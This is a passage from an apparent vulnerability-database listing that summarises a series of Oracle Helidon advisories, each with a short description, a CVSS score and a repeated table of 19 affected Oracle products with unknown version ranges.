vers:unknown/*
Oracle Corporation / Oracle WebCenter Content
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Enterprise Capture
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Portal
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Sites
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Service Delivery Platform
|
vers:unknown/* |
A vulnerability in Oracle Fusion Middleware Helidon 4.5.0 allows unauthenticated attackers to perform unauthorized data modifications, read access, and partial denial of service, with a CVSS 3.1 base score of 7.3.
7.3 (High)
Affected products
Known affected
19 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Oracle / Fusion Middleware
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle WebLogic Server
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Helidon
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Access Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager Connector
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Internet Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Managed File Transfer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Outside In Technology
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Reports Developer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle SOA Suite
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Unified Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Virtual Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Web Services Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Content
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Enterprise Capture
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Portal
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Sites
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Service Delivery Platform
|
vers:unknown/* |
A vulnerability in Oracle Fusion Middleware Helidon 4.5.0 allows unauthenticated network attackers to gain unauthorized read and write access to Helidon data, with a CVSS 3.1 base score of 6.5 indicating moderate confidentiality and integrity impact.
6.5 (Medium)
Affected products
Known affected
19 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Oracle / Fusion Middleware
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle WebLogic Server
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Helidon
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Access Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager Connector
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Internet Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Managed File Transfer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Outside In Technology
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Reports Developer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle SOA Suite
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Unified Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Virtual Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Web Services Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Content
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Enterprise Capture
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Portal
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Sites
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Service Delivery Platform
|
vers:unknown/* |
A vulnerability in Oracle Fusion Middleware Helidon 4.5.0 allows unauthenticated network attackers to gain unauthorized read and write access to Helidon data, with a CVSS 3.1 base score of 6.5 indicating moderate confidentiality and integrity impact.
6.5 (Medium)
Affected products
Known affected
19 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Oracle / Fusion Middleware
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle WebLogic Server
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Helidon
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Access Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager Connector
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Internet Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Managed File Transfer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Outside In Technology
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Reports Developer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle SOA Suite
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Unified Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Virtual Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Web Services Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Content
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Enterprise Capture
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Portal
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Sites
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Service Delivery Platform
|
vers:unknown/* |
A vulnerability in Oracle Fusion Middleware Helidon 4.5.0 allows unauthenticated attackers to perform unauthorized data modifications, read access, and partial denial of service, with a CVSS 3.1 base score of 7.3.
7.3 (High)
Affected products
Known affected
19 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Oracle / Fusion Middleware
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle WebLogic Server
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Helidon
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Access Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager Connector
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Internet Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Managed File Transfer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Outside In Technology
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Reports Developer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle SOA Suite
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Unified Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Virtual Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Web Services Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Content
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Enterprise Capture
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Portal
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Sites
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Service Delivery Platform
|
vers:unknown/* |
A vulnerability in Oracle Fusion Middleware Helidon 3.2.18 allows unauthenticated attackers with HTTP network access to gain unauthorized read access to certain data, rated with a CVSS 3.1 base score of 5.3.
5.3 (Medium)
Affected products
Known affected
19 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Oracle / Fusion Middleware
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle WebLogic Server
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Helidon
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Access Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager Connector
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Internet Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Managed File Transfer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Outside In Technology
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Reports Developer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle SOA Suite
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Unified Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Virtual Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Web Services Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Content
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Enterprise Capture
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Portal
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Sites
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Service Delivery Platform
|
vers:unknown/* |
A vulnerability in Oracle Fusion Middleware Helidon 4.5.0 allows unauthenticated HTTP/2 attackers to gain unauthorized read access and cause partial denial of service, rated CVSS 3.1 base score 6.5.
6.5 (Medium)
Affected products
Known affected
19 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Oracle / Fusion Middleware
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle WebLogic Server
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Helidon
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Access Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager Connector
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Internet Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Managed File Transfer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Outside In Technology
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Reports Developer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle SOA Suite
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Unified Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Virtual Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Web Services Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Content
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Enterprise Capture
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Portal
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Sites
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Service Delivery Platform
|
vers:unknown/* |
A vulnerability in Oracle Fusion Middleware Helidon 4.5.0 allows unauthenticated network attackers to gain unauthorized read and write access to Helidon data, with a CVSS 3.1 base score of 6.5 indicating moderate confidentiality and integrity impact.
6.5 (Medium)
Affected products
Known affected
19 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Oracle / Fusion Middleware
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle WebLogic Server
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Helidon
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Access Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager Connector
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Internet Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Managed File Transfer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Outside In Technology
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Reports Developer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle SOA Suite
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Unified Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Virtual Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Web Services Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Content
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Enterprise Capture
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Portal
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Sites
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Service Delivery Platform
|
vers:unknown/* |
A vulnerability in Oracle Fusion Middleware Helidon 4.5.0 allows unauthenticated network attackers to exploit it via HTTP, potentially leading to unauthorized data access and modification, with a CVSS 3.1 base score of 6.1.
6.1 (Medium)
Affected products
Known affected
19 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Oracle / Fusion Middleware
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle WebLogic Server
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Helidon
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Access Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager Connector
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Internet Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Managed File Transfer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Outside In Technology
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Reports Developer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle SOA Suite
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Unified Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Virtual Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Web Services Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Content
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Enterprise Capture
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Portal
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Sites
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Service Delivery Platform
|
vers:unknown/* |
A vulnerability in Oracle Fusion Middleware Helidon 3.2.19 allows unauthenticated attackers with HTTP network access to gain unauthorized read access to certain data, rated with a CVSS 3.1 base score of 5.3.
5.3 (Medium)
Affected products
Known affected
19 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Oracle / Fusion Middleware
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle WebLogic Server
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Helidon
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Access Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager Connector
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Internet Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Managed File Transfer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Outside In Technology
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Reports Developer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle SOA Suite
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Unified Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Virtual Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Web Services Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Content
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Enterprise Capture
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Portal
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Sites
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Service Delivery Platform
|
vers:unknown/* |
A vulnerability in Oracle Fusion Middleware Helidon 4.5.1 allows unauthenticated remote attackers to gain unauthorized read access to certain data via HTTP, with a CVSS 3.1 base score of 5.3.
5.3 (Medium)
Affected products
Known affected
19 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Oracle / Fusion Middleware
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle WebLogic Server
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Helidon
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Access Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager Connector
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Internet Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Managed File Transfer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Outside In Technology
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Reports Developer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle SOA Suite
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Unified Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Virtual Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Web Services Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Content
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Enterprise Capture
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Portal
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Sites
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Service Delivery Platform
|
vers:unknown/* |
A vulnerability in Oracle Fusion Middleware Helidon 4.5.1 allows unauthenticated network attackers to perform unauthorized read and write operations, with a CVSS 3.1 base score of 4.8 indicating moderate confidentiality and integrity impact.
4.8 (Medium)
Affected products
Known affected
19 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Oracle / Fusion Middleware
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle WebLogic Server
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Helidon
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Access Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager Connector
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Internet Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Managed File Transfer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Outside In Technology
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Reports Developer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle SOA Suite
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Unified Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Virtual Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Web Services Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Content
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Enterprise Capture
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Portal
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Sites
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Service Delivery Platform
|
vers:unknown/* |
A denial of service vulnerability in Oracle Fusion Middleware's Helidon 3.2.19 allows unauthenticated attackers with HTTP access to hang or crash the server, rated CVSS 3.1 base score 7.5 for availability impact.
7.5 (High)
Affected products
Known affected
19 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Oracle / Fusion Middleware
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle WebLogic Server
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Helidon
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Access Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager Connector
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Internet Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Managed File Transfer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Outside In Technology
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Reports Developer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle SOA Suite
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Unified Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Virtual Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Web Services Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Content
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Enterprise Capture
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Portal
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Sites
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Service Delivery Platform
|
vers:unknown/* |
A critical vulnerability in Oracle Fusion Middleware Helidon 4.5.1 allows unauthenticated remote attackers to modify or delete critical data via HTTP, with a CVSS 3.1 base score of 7.5 indicating high integrity impact.
7.5 (High)
Affected products
Known affected
19 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Oracle / Fusion Middleware
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle WebLogic Server
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Helidon
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Access Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager Connector
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Internet Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Managed File Transfer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Outside In Technology
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Reports Developer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle SOA Suite
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Unified Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Virtual Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Web Services Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Content
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Enterprise Capture
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Portal
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Sites
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Service Delivery Platform
|
vers:unknown/* |
A vulnerability in Oracle Fusion Middleware Helidon 4.5.1 allows unauthenticated remote attackers to gain unauthorized read and write access to Helidon data via HTTP, with a CVSS 3.1 base score of 6.5.
6.5 (Medium)
Affected products
Known affected
19 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Oracle / Fusion Middleware
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle WebLogic Server
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Helidon
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Access Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager Connector
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Internet Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Managed File Transfer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Outside In Technology
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Reports Developer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle SOA Suite
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Unified Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Virtual Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Web Services Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Content
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Enterprise Capture
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Portal
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Sites
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Service Delivery Platform
|
vers:unknown/* |
A critical unauthenticated remote code execution vulnerability in Oracle Fusion Middleware Helidon 4.5.0 with a CVSS 3.1 base score of 9.8 allows full system compromise via HTTP.
9.8 (Critical)
Affected products
Known affected
19 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
|
vers:unknown/*
Oracle / Fusion Middleware
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle / Oracle WebLogic Server
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Helidon
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Access Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Identity Manager Connector
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Internet Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Managed File Transfer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Outside In Technology
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Reports Developer
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle SOA Suite
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Unified Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Virtual Directory
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle Web Services Manager
|
vers:unknown/* | ||
|
vers:unknown/*
Oracle Corporation / Oracle WebCenter Content
|
vers:unknown/* | ||
|
vers:unknown/*
